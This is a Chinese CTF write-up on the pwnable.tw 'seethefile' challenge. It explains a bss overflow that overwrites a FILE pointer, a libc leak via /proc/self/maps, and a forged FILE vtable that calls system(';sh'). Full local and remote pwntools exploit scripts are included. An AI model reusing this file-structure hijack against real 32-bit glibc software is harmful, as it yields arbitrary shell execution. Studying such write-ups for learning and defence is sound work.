第一次做iofile类型的题目,也花了不少时间去学习,照例记录一下吧。
代码审计 程序大致内容是,打开指定的文件,读出数据,打印出来,不能打开名为_flag_的文件。
case 5 : printf ("Leave your name :" ); __isoc99_scanf("%s" , name); printf ("Thank you %s ,see you next time\n" , name); if ( fp ) fclose(fp); exit (0 ); return result;
switch(5)
时,往name 中输入数据时,有一个溢出漏洞。如下,name 在*.bss段,而fp
就在 name下方0x20
个字节处,故我们可以溢出 name*覆盖fp
。
.bss:0804B260 name db 20h dup(?) ; DATA XREF: main+9F↑o .bss:0804B260 ; main+B4↑o .bss:0804B280 public fp .bss:0804B280 ; FILE *fp .bss:0804B280 fp dd ? ; DATA XREF: openfile+6↑r .bss:0804B280 ; openfile+AD↑w ... .bss:0804B280 _bss ends .bss:0804B280
思路 泄漏libc 由于可以读取指定文件的数据,故可以直接利用linux 的proc 伪文件系统,读取/proc/self/maps
即可获得libc基址。不过一次只能读取0x18
字节,可能要多读取几次。
openfile('/proc/self/maps' ) readfile() writefile() readfile() writefile() p.recvuntil('[heap]\n' ) libc_base = int (p.recv(8 ),16 )+0x1000 log_addr("libc_base" )
构造_fake_file
32
位里file
到vtable
的偏移为0x94
,对于伪造file
,有如下解释:
偏移为0
处设置为0xffffdfff
偏移为4
处设置为要执行的指令字符串
然后用垃圾字节填充至vtable
处
fake_FILE = 0x804b280 +0x4 payload = b'a' *0x20 +p32(fake_FILE) payload+= p32(0xffffdfff )+b';sh' +b'\x00' *(0x94 -0x4 -0x3 ) payload+= p32(fake_FILE+0x90 )+p32(system_addr) exit_with_name(payload)
本题给的libc 版本为2.23
,libc2.24
以下的版本没有对虚表进行检查,所以直接伪造即可。
exp 本地 from tools import *p = process("./seethefile" ) debug(p,0x08048AE0 ) elf = ELF("./seethefile" ) libc = ELF("/home/wen/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc.so.6" ) def openfile (name ): p.sendlineafter("Your choice :" ,str (1 )) p.sendlineafter("What do you want to see :" ,name) def readfile (): p.sendlineafter("Your choice :" ,str (2 )) def writefile (): p.sendlineafter("Your choice :" ,str (3 )) def closefile (): p.sendlineafter("Your choice :" ,str (4 )) def exit_with_name (name ): p.sendlineafter("Your choice :" ,str (5 )) p.sendlineafter("Leave your name :" ,name) openfile('/proc/self/maps' ) readfile() writefile() readfile() writefile() p.recvuntil('[heap]\n' ) libc_base = int (p.recv(8 ),16 )+0x1000 log_addr("libc_base" ) system_addr = libc_base+libc.sym['system' ] fake_FILE = 0x804b280 +0x4 payload = b'a' *0x20 +p32(fake_FILE) payload+= p32(0xffffdfff )+b';sh' +b'\x00' *(0x94 -0x4 -0x3 ) payload+= p32(fake_FILE+0x90 )+p32(system_addr) exit_with_name(payload) p.interactive()
远程 from tools import *p = remote("chall.pwnable.tw" ,10200 ) debug(p,0x08048AE0 ) elf = ELF("./seethefile" ) libc = ELF("./libc_32.so.6" ) def openfile (name ): p.sendlineafter("Your choice :" ,str (1 )) p.sendlineafter("What do you want to see :" ,name) def readfile (): p.sendlineafter("Your choice :" ,str (2 )) def writefile (): p.sendlineafter("Your choice :" ,str (3 )) def closefile (): p.sendlineafter("Your choice :" ,str (4 )) def exit_with_name (name ): p.sendlineafter("Your choice :" ,str (5 )) p.sendlineafter("Leave your name :" ,name) openfile('/proc/self/maps' ) readfile() writefile() p.recvuntil('[heap]\n' ) libc_base = int (p.recv(8 ),16 )+0x1000 log_addr("libc_base" ) system = libc_base+libc.sym['system' ] fake_FILE = 0x804b280 +0x4 payload = b'a' *0x20 +p32(fake_FILE) payload+= p32(0xffffdfff )+b';sh' +b'\x00' *0x8d +p32(fake_FILE+0x98 ) payload+= p32(0 )*2 +p32(system) exit_with_name(payload) p.interactive()